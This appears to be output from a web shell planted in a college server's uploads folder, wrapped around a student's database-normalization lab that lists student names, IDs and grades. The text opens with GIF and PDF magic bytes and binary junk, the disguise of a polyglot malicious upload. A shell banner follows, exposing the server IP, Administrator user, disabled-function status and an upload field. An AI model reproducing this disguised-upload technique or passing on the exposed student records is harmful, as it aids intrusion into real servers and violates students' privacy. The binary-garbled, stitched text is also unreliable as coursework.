GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/uploads/20253/CST1600/41/16801913/Lab09/ |
Upload File : |
UNF: studentgrades (StudentId*, StudentName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP) lettergrade (LetterGrade1, Percentage1, LetterGrade2, Percentage2, LetterGrade3, Percentage3, LetterGrade4, Percentage4, LetterGrade5, Percentage5, LetterGrade6, Percentage6, LetterGrade7, Percentage7, LetterGrade8, Percentage8, LetterGrade9, Percentage9) possiblepoints (SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total) 1NF: The tables lettergrade & possible points are not in 1NF. Neither have an assigned primary key. For lettergrade the Percentages themselves will be the primary key and will correspond to the correct LetterGrade. The possiblepoints table will now have the assignmentName (SP, Lab01, etc.) as the primary key. I will create a column points that will contain the points possible for each assignment and total. lettergrade--->lettergrade(Percentage*, LetterGrade) possiblepoints--->possiblepoints(assignmentName*, points) studentgrades--->ok 2NF: The table studentgrades is not in 2NF. The Total, Final & IP columns do not entirely depend on just the primary key of StudentID. I created a new table, totals, that contains the StudentID as the primary key and the columns Total, Final & IP. studentgrades (StudentId*, StudentName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09, Total, Final, IP) --->studentgrades(StudentID*, StudentName, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09) --->totals(StudentID*, Total, Final, IP) lettergrade(Percentage*, LetterGrade)--->ok possiblepoints(assignmentName*, points)--->ok 3NF: To clean things up I created a students table to include just information about the student. Student ID and StudentName are contained here. StudentID is the primary key. I removed StudentName from the studentgrades table. It now just contains the StudentID and their lab scores. students(StudentID*, StudentName) studentgrades(StudentID*, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09) Totals(StudentID*, Total, Final, IP) lettergrade(Percentage*, LetterGrade)--->ok possiblepoints(assignmentName*, points)--->ok Three data rows: students(StudentID*, StudentName) StudentID* StudentName 84228748 Lael Abbott 44107438 Bruce Acosta 21479092 Coby Fox studentgrades(StudentID*, SP, Lab01, Lab02, Lab03, Lab04, Lab05, Lab06, Lab07, Lab08, Lab09) StudentID* SP Lab01 Lab02 Lab03 Lab04 Lab05 Lab06 Lab07 Lab08 Lab09 84228748 4 10 5 9 ns 3 10 ns ns ns 44107438 5 10 5 10 10 15 10 15 15 ns 21479092 5 10 5 10 10 15 10 ng ns ns totals(StudentID*, Total, Final, IP) StudentID* Total Final IP 84228748 41 F F 44107438 95 B- A 21479092 65 F A lettergrade(Percentage*, LetterGrade) Percentage* LetterGrade 93 A 90 A- 87 B+ possiblepoints(assignment*, points) assignment* points SP 5 Lab01 10 Lab02 5